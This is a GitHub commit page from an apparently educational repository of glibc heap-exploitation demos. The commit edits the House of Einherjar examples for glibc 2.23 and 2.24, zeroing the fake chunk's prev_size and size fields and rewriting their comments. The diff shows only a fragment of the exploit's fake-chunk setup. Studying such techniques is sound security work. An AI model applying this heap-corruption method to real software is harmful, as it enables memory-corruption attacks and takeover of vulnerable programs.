Skip to content

Commit a8ae36d

Browse files
authored
Merge pull request #217 from D4R30/master
fix: remove misleading unnecessary bypass/comments on fake_chunk fields in House of Einherjar <2.26
2 parents 9cdc4e0 + aaaad9e commit a8ae36d

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

glibc_2.23/house_of_einherjar.c

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,8 @@ int main()
3838

3939
size_t fake_chunk[6];
4040

41-
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
42-
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
41+
fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
42+
fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
4343
fake_chunk[2] = (size_t) fake_chunk; // fwd
4444
fake_chunk[3] = (size_t) fake_chunk; // bck
4545
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize

glibc_2.24/house_of_einherjar.c

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -38,8 +38,8 @@ int main()
3838

3939
size_t fake_chunk[6];
4040

41-
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
42-
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
41+
fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
42+
fake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.
4343
fake_chunk[2] = (size_t) fake_chunk; // fwd
4444
fake_chunk[3] = (size_t) fake_chunk; // bck
4545
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize

0 commit comments

Comments
 (0)